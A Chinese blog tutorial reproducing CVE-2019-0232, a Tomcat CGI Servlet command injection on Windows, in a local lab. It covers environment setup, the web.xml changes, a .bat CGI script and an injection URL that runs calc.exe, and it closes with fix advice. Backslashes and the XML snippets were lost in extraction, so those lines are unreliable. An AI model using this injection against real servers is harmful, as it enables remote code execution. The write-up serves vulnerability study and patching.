栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

CVE-2019-0232漏洞复现

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

CVE-2019-0232漏洞复现

漏洞背景介绍:

        2019年4月13号,Apache Tomcat 9.0.18版本公告中提到,本次更新修复了一个代号为CVE-2019-0232的漏洞。该漏洞只对Windows平台有效,Apache Tomcat 9.0.0.M1到9.0.17,8.5.0到8.5.39和7.0.0到7.0.93中的CGI Servlet很容易受到远程执行代码的影响,攻击者向CGI Servlet发送一个精心设计的请求,可在具有Apache Tomcat权限的系统上注入和执行任意操作系统命令。漏洞成因是当将参数从JRE传递到Windows环境时,由于CGI_Servlet中的输入验证错误而存在该漏洞。

复现环境:

tomcat8.5.39 

windows10x64

JDK 1.8.0_201

漏洞影响范围:

Apache Tomcat 9.0.0.M1 to 9.0.17

Apache Tomcat 8.5.0 to 8.5.39

Apache Tomcat 7.0.0 to 7.0.93

复现过程:

JDK配置:

下载好JDK,我用的是JDK 1.8.0_201

在此电脑处鼠标右键单击,选择“属性”

 点击高级系统设置:

 点击环境变量:

 在系统变量中新建一个变量:

变量名:JAVA_HOME

变量值:(JDK的安装路径,在前面安装时最好把它复制下来)

 修改系统环境变量中的path

在最后加入%JAVA_HOME%bin;%JAVA_HOME%jrebin;

新加一条系统变量CLASSPATH

变量名:CLASSPATH

变量值为.;%JAVA_HOME%lib;%JAVA_HOME%libtools.jar(注意前面有个.)

 做完这些后打开cmd输入:java -version

如果能查看版本信息那就说明配置成功了

接下来就是tomcat8.5.39的环境搭建

 tomcat8.5.39的搭建:

下载apache-tomcat-8.5.39-windows-x64压缩包

Index of /dist/tomcat/tomcat-8/v8.5.39https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.39/

进去之后是这样子的:

一堆英文,大概是说bin/里装的是各大版本的tomcat的压缩包,src/里装的是tomcat各版本的源码

 所以我们点击bin/在里面找到对应的版本:

 下载好后解压打开

更改web.xml下的cgi:

打开apache-tomcat-8.5.39/conf/web.xml

选择用记事本打开:

 大约在375行左右,找到这一串代码,将注释符去掉:

 然后将这段代码添加进去:



executable







enableCmdLineArguments

true

添加在这个位置:

 更改web.xml下的cgi的mappings注释去掉:

继续往下翻,在419行的位置将这段代码的注释去掉:

配置使有启动CGI_Servlet的权限:(不配置会出现404的情况)

打开同目录下的content.xml文件:

 找到最后一段代码:

在Context后面添加privileged="true"语句 如下图

到这里环境搭建就已经完成了

Shutdown.bat为关闭tomcat,startup.bat为启动tomcat

重启后访问:http://localhost:8080

 说明环境配置成功。

在webapps/ROOT/WEB-INF文件夹下新建cgi-bin

在cgi-bin里新建hello.txt,写入如下代码:

@echo off
echo Content-Type: test/plain
echo.
set foo=&~1
%foo%

将hello.txt的后缀名改为bat

注:也可以将hello改成自己喜欢的名字,后续中将hello全部改成你命名的名字即可

重启tomcat后(Shutdown.bat为关闭tomcat,startup.bat为启动tomcat,先关闭再启动)

访问http://localhost:8080

在http://localhost:8080/cgi-bin/hello.bat?&C:WindowsSystem32后加系统指令(像红字部分这样构造url),例如:
打开计算器:
http://localhost:8080/cgi-bin/hello.bat?& C:WindowsSystem32calc.exe

其他的指令就不一个一个来试了,可以自己研究。

漏洞修复建议:

在Tomcat安装路径的conf文件夹下,使用记事本打开web.xml,找到enableCmdLineArguments参数部分将true值改为false

在conf/web.xml中覆写采用更严格的参数合法性检验规则。
升级tomcat到9.0.17以上版本。

                

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/696543.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号